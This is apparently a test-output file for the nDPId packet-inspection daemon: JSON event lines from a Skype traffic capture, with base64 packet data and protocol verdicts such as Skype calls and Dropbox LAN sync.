+00458{"flow_id":175,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1096,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":579350,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLzugAAEARKEbAqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00457{"flow_id":176,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1097,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":579539,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLSKwAAEARroLAqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00439{"flow_id":101,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1098,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":656480,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA82+1AADcGhjadN4KWwKgBIpxLw35DcUSZQA26NoAYAB0qhwAAAQEICk63szg+IuZBa1Fa9Z6K\/TI="} +00410{"flow_id":101,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1099,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":656594,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo05tAAEAGhZzAqAEinTeClsN+nEtADbo2AAAAAFAEAAB0OgAA"} +00497{"flow_id":183,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1100,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":865466,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlvcJAAEAGmyTAqAEinTeCqsOYAbvnclDsz\/tu9oAYECx01wAAAQEICj4jNHFOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00500{"flow_id":153,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1103,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":239625,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"0NQSxnP1PBXCt3IOCABFAABq0kJAAEAG7H3AqAEib91KJsOPAbu0bGIyDtZB8IAYECxECAAAAQEICj4jNedNf6U4DpQ6T7GhI\/HZuALGyyd6FuE62cjswcclHGXEXQQQrFo1hEMiHK+aF1hYQEgpCBKH6FPKIRys"} +00458{"flow_id":157,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1104,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":239918,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLMVcAAEARxdfAqAEiwKgBAeRaADUAN2o90\/0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00458{"flow_id":158,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1105,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":240037,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL3PYAAEARGjjAqAEiwKgBAcDQADUANww\/OoYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00438{"flow_id":133,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1112,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":341823,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8iRBAAEAGGhjAqAEinTc4ksOFnF5LaK51T0tw1IAYECm+OAAAAQEICj4jNk1NhXFJby9fpLXtPtU="} +00477{"flow_id":142,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":488863,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWXbBAAEAG+1bAqAEinTeCmcOJAbvJCUV1l+7ieIAYECycdwAAAQEICj4jNuBOtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1114,"source":"skype.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1431969686494,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.29","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":187,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":494151,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7KdYAAEAR1RfAqAEib91KHTLdnFgAJyRCnIIC1fLHUFbyfUuPJFSEHOCi7XP7hf4fCpbSA7AYcw=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1114,"source":"skype.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1431969686494,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.29","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1115,"source":"skype.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1431969686494,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.147","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":188,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1115,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":494152,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+wC0AAEAR2OzAqAEinTeCkzLdnFMAKhU5nIQCbtjtgTR5b1SpAOgeT3hZ1sNas6z5WpsHwiEzG2Fdeg=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1115,"source":"skype.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1431969686494,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.147","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_id":174,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1116,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":540994,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABee+9AAEAGJwnAqAEinTc4oMOVAbs\/vde5DvO1MYAYECy3IQAAAQEICj4jNxRNfpP1C\/K+P2bJpeJPHa2PUHDULtdZf\/0zeGwCQKqXzvyh2rxHpWJ9WEovTk91"} +00439{"flow_id":177,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1117,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":561149,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KGZAAEAGMKrAqAEinTeCqsOWnFJsNFXh7fFHoYAYECr99AAAAQEICj4jNyhOqgg\/dBFKHGWgP00="} +00497{"flow_id":183,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1118,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":675317,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlvF1AAEAGnInAqAEinTeCqsOYAbvnclDsz\/tu9oAYECxxrgAAAQEICj4jN5pOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1119,"source":"skype.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1431969686726,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":189,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1119,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":726462,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAIS0J4AAEAR5nLAqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1119,"source":"skype.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1431969686726,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1120,"source":"skype.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1431969686726,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":190,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1120,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":726709,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISl+cAAEARXILAqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1120,"source":"skype.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1431969686726,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00688{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1121,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":815579,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADzoepAAEAGdU\/AqAEiF99JIsNrAbvkkjeTMYDD\/oAZECxKjgAAAQEICj4jOCX301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00438{"flow_id":135,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1122,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":824743,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83MZAAEAG4h7AqAEib91KL8OHnF60mgVan9mDBYAYECp0PgAAAQEICj4jOC5NhV8Xx9YMHiFnIWo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1123,"source":"skype.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1431969686992,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01083{"flow_id":191,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1123,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":992272,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISTt8AAEARZ\/jAqAFc\/\/\/\/\/0RcRFwB\/v9VeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1123,"source":"skype.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1431969686992,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1124,"source":"skype.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1431969686993,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":192,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1124,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969686,"pkt_ts_usec":993049,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISzasAAEARJoTAqAFcwKgB\/0RcRFwB\/jyueyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1124,"source":"skype.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1431969686993,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00496{"flow_id":167,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1125,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":256921,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABnR7hAAEAGEMvAqAEiQTffDMOSAbvQogDzbPVBKoAYECz5kgAAAQEICj4jOd1Noe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00536{"flow_id":64,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1126,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":310549,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDyHVAADMG51OdNziqwKgBIgG7w3W+IGdbZQKzVYAYAB0hggAAAQEICk15ypg+IsxsFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00409{"flow_id":64,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1127,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":310663,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoAo1AAEAGoJfAqAEinTc4qsN1AbtlArNVAAAAAFAEAAA6rAAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1128,"source":"skype.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":193,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1128,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":504457,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBxOwAAEARHhbAqAEinTc4qDLdnEYALROCnIYCHY\/YUYokwK99l51ViNrnwr9nS0r47IMjMyFmHPRTFPvIVw=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1128,"source":"skype.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1129,"source":"skype.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.29","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 